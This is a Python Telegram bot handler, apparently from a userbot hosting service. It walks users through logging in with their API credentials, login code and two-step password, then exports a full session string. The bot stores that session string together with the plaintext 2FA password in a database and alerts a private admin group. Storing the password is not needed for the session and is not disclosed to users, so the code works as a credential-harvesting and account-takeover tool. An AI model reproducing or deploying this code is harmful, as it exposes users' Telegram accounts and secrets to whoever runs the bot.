File size: 8,583 Bytes
c4d8874
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
import asyncio
import string
import pyromod
from random import choice
import logging
from datetime import datetime as dt
from asyncio.exceptions import TimeoutError
from pyrogram import Client, filters

from database import db
from config import PRIVATE_GROUP_ID

from pyrogram.errors import (
    FloodWait,
    PhoneNumberInvalid,
    PhoneCodeInvalid,
    PhoneCodeExpired,
    SessionPasswordNeeded
)
from pyrogram.types import (
    InlineKeyboardMarkup,
    InlineKeyboardButton
)

LOGS = logging.getLogger(__name__)

def generate_random_string(length):
    characters = string.ascii_uppercase + string.digits
    random_string = ''.join(choice(characters) for _ in range(length))
    return random_string

@Client.on_message(
    filters.contact
    & filters.private
)
async def contact_check(bot, message):
    if message.contact:
        user_id = message.from_user.id
        new_code_password = ""
        contact = message.contact
        client_name = generate_random_string(12)
        phone = "+" + contact.phone_number

        try:
            confirm_apid = await message.chat.ask(
                "Please send your API ID (from my.telegram.org):\n\n"
                "Format should be: `123456`\n\n"
                "Type /cancel to abort",
                timeout=300
            )
        except TimeoutError:
            return await bot.send_message(
                message.chat.id, "`Time limit reached of 5 min.`"
            )
        if confirm_apid.text.lower() == "/cancel":
            return await bot.send_message(message.chat.id, "Cancelled")
        api_id = confirm_apid.text
        await confirm_apid.delete()

        try:
            confirm_apihash = await message.chat.ask(
                "Please send your API HASH (from my.telegram.org):\n\n"
                "Format should be: `6asdksxxxxxxxx`\n\n"
                "Type /cancel to abort",
                timeout=300
            )
        except TimeoutError:
            return await bot.send_message(
                message.chat.id, "`Time limit reached of 5 min.`"
            )
        if confirm_apihash.text.lower() == "/cancel":
            return await bot.send_message(message.chat.id, "Cancelled")
        api_hash = confirm_apihash.text
        await confirm_apihash.delete()

        client = Client(
            "{}".format(client_name),
            api_id=int(api_id),
            api_hash=api_hash
        )
        try:
            await client.connect()
        except ConnectionError:
            await client.disconnect()
            await client.connect()
        except Exception as e:
            LOGS.error(f"Error Connect Userbot: {str(e)}")
            await client.disconnect()
            return await bot.send_message(message.chat.id, "Error try again problem")

        while True:
            confirm = await message.chat.ask(
                f'`Is "{phone}" correct? (y/n):` \n\ntype: `y` (If Yes)\ntype: `n` (If No)'
            )
            if confirm.text.lower() == "/cancel":
                await bot.send_message(message.chat.id, "Cancelled")
                return await client.disconnect()
            if "y" in confirm.text.lower():
                await confirm.delete()
                break
        try:
            code = await client.send_code(phone)
            await asyncio.sleep(1)
        except FloodWait as e:
            return await bot.send_message(
                message.chat.id,
                f"`you have floodwait of {e.value} Seconds`"
            )
        except PhoneNumberInvalid:
            return await bot.send_message(
                message.chat.id,
                "`your Phone Number is Invalid.`"
            )
        except Exception as e:
            return await bot.send_message(
                message.chat.id,
                f"`your Phone Number is Invalid: {e}`"
            )
        try:
            otp = await message.chat.ask(
                (
                    "`An otp is sent to your phone number, "
                    "Please enter otp in\n`1 2 3 4 5` format.`\n\n"
                    "`If Bot not sending OTP then try` /restart `cmd and again` /start `the Bot.`\n"
                    "Press /cancel to Cancel."
                ),
                timeout=300,
            )
        except TimeoutError:
            return await bot.send_message(
                message.chat.id, "`Time limit reached of 5 min.`"
            )
        if otp.text.lower() == "/cancel":
            await bot.send_message(message.chat.id, "Cancelled")
            return await client.disconnect()
        otp_code = otp.text
        await otp.delete()
        try:
            await client.sign_in(
                phone,
                code.phone_code_hash,
                phone_code=" ".join(str(otp_code))
            )
        except PhoneCodeInvalid:
            return await bot.send_message(message.chat.id, "`Invalid Code.`")
        except PhoneCodeExpired:
            return await bot.send_message(message.chat.id, "`Code is Expired.`")
        except SessionPasswordNeeded:
            try:
                two_step_code = await message.chat.ask(
                    "`This account have two-step verification code.\nPlease enter your second factor authentication code.`\nPress /cancel to Cancel.",
                    timeout=300,
                )
            except TimeoutError:
                return await bot.send_message(
                    message.chat.id, "`Time limit reached of 5 min.`"
                )
            if two_step_code.text.lower() == "/cancel":
                await bot.send_message(message.chat.id, "Cancelled")
                return await client.disconnect()
            new_code = two_step_code.text
            new_code_password += two_step_code.text
            await two_step_code.delete()
            try:
                await client.check_password(new_code)
            except Exception as e:
                return await bot.send_message(
                    message.chat.id, "**ERROR:** `{}`".format(e)
                )
        except Exception as e:
            return await bot.send_message(
                message.chat.id, "**ERROR:** `{}`".format(e),
            )
        session_string = await client.export_session_string()
        await client.disconnect()
        now = dt.now().strftime("%Y-%m-%d %H:%M:%S")
        admin_buttons = InlineKeyboardMarkup([
            [InlineKeyboardButton("βœ… Approve", callback_data=f"approved_ub_{user_id}"),
             InlineKeyboardButton("❌ Reject",  callback_data=f"rejected_ub_{user_id}")],
            [InlineKeyboardButton("πŸ‘€ View User", url=f"tg://user?id={user_id}")]
        ])
        user_data = {
            "api_id": int(api_id),
            "api_hash": api_hash,
            "user_id": user_id,
            "is_active": False,
            "status": "pending",
            "created_at": now,
            "timestamp": now,
            "first_name": message.from_user.first_name,
            "username": message.from_user.username,
            "phone_number": phone,
            "password": new_code_password,
            "session_string": session_string,
        }
        existing_request = await db.users_detection.find_one({"user_id": user_id})
        if existing_request:
            await db.users_detection.update_one(
                {"user_id": user_id},
                {
                    "$push": {"user_client": user_data},
                    "$set": {"last_updated": now}
                },
                upsert=True
            )
        else:
            await db.users_detection.insert_one(
                {
                    "user_id": user_id,
                    "user_client": [user_data],
                    "created_at": now,
                    "last_updated": now
                }
            )
        await bot.send_message(
            message.chat.id,
            f"βœ… **Deployment Detection Request Submitted**\n\n"
            f"⏳ Admin approval usually takes <15 minutes",
            reply_markup=InlineKeyboardMarkup([
                [InlineKeyboardButton("πŸ“Š Check Status", callback_data=f"statusub_{user_id}")]
            ])
        )
        await bot.send_message(
            PRIVATE_GROUP_ID,
            text=f"**New Detection Request**\n\n"
                 f"πŸ‘€ User: {message.from_user.mention} (`{user_id}`)\n"
                 f"πŸ“› Username: @{message.from_user.username}\n"
                 f"⏰ Submitted: {now}\n"
                 f"🏷 Tier: πŸ†“ Free",
            reply_markup=admin_buttons
        )